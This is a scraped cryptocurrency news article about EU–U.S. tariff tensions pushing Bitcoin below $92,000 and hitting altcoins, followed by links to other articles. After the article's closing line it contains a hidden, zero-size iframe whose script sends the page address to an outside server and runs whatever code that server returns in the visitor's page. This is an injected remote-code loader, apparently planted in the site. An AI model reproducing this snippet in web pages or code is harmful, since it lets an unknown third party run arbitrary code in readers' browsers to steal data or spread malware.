Cryptocurrency

Donald Trump

President Donald Trump

<p style="text-align: justify">As the <a href="https://en.coin-turk.com/michael-saylor-signals-potential-bitcoin-buy-at-strategy/" data-wpel-link="internal"></a><a href="https://en.coin-turk.com/analysts-discuss-bitcoin-price-movements-and-predictions/" data-wpel-link="internal">cryptocurrency</a> market entered a tumultuous week, the European Union’s response to new tariffs introduced by then-U.S. President Donald Trump significantly impacted global risk appetite. In the initial hours of Asian trading, the total market value of cryptocurrencies dropped by 3% in just a few hours, falling to $3.21 trillion, with Bitcoin leading the decline. Bitcoin, which had stabilized around $95,000 over the weekend, fell below $92,000 on some exchanges, suggesting high volatility for the week ahead. Concurrently, macroeconomic data releases and central bank decisions increased the sensitivity of cryptocurrency valuations during this period.</p>
<h2 id="european-u-s-tensions-and-macroeconomic-pressure">European–U.S. Tensions and Macroeconomic Pressure</h2>
<p style="text-align: justify">The initial market reaction centered on Trump’s announcement of a 10% tariff on goods from eight European countries. Following the announcement, EU leaders convened an emergency meeting on Sunday to assess retaliatory measures. French President Emmanuel Macron called for the activation of the “anti-coercion instrument” known as the “trade bazooka,” designed to implement sanctions that could restrict U.S. access to European markets.</p>
<p style="text-align: justify">For the rest of the week, macroeconomic data served as another influential factor on the pricing of Bitcoin and altcoins. Traditional U.S. markets remained closed on Monday for Martin Luther King Jr. Day, while the effects of the cryptocurrency market’s sell-off were expected to be felt by Tuesday. Critical third-quarter GDP data and delayed November Personal Consumption Expenditures (PCE) inflation statistics were to be released on Thursday, holding significance for interest rate path expectations.</p>
<p style="text-align: justify">In Asia, China and Japan’s central banks’ interest rate decisions on Tuesday and Friday, respectively, were anticipated to influence volatility, especially in the highly leveraged cryptocurrency sector.</p>
<h2 id="volatile-price-movements-in-cryptocurrencies">Volatile Price Movements in Cryptocurrencies</h2>
<p style="text-align: justify">At the week’s outset, Bitcoin exhibited contrasting movement to gold, a traditional safe haven. Bitcoin swiftly dropped to weekly lows with a loss exceeding $3,500 during Asian trading and was unable to recover at the time of writing. Ethereum also saw a substantial drop but managed to stay above the $3,200 threshold.</p>
<p style="text-align: justify">The <a href="https://en.coin-turk.com/exploring-the-recent-surge-in-pepe-cryptocurrency-price/" data-wpel-link="internal">altcoin</a> market witnessed more pronounced losses. XRP, Solana, Dogecoin, and Cardano experienced sharp devaluations during the day, while Monero stood out with a 10% increase, reaching $615. Market participants were closely monitoring the earnings reports of approximately 10% of S&amp;P 500 companies and the World Economic Forum meetings starting in Switzerland.</p>
<p style="text-align: justify">In the coming days, geopolitical topics revolving around tariffs, inflation data, and central bank messages are expected to result in a short-term fluctuating trend within the cryptocurrency market.</p>
<p>The post <a href="https://en.coin-turk.com/global-political-tensions-shake-cryptocurrency-markets/" data-wpel-link="internal">Global Political Tensions Shake Cryptocurrency Markets</a> appeared first on <a href="https://en.coin-turk.com" data-wpel-link="internal">COINTURK NEWS</a>.</p><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Global Political Tensions Shake Cryptocurrency Markets

Table of Contents

COINTURK NEWS

Other articles published on Jan 19, 2026

uDegen: The Next Utility Layer of the Utopia Ecosystem

Cardone Capital Ramps Up BTC Plan With $10M Add, Saylor Watching

Ethereum hits new 2.8M daily transaction record as retail returns for low fees

Spur Protocol Daily Quiz Answer 20 January 2026: Earn Rewards

Ethereum Prices Hover as Key Resistance Looms

Federal Reserve Chair Nomination Stakes: Warsh Surges Ahead

Join our free newsletter for daily crypto updates!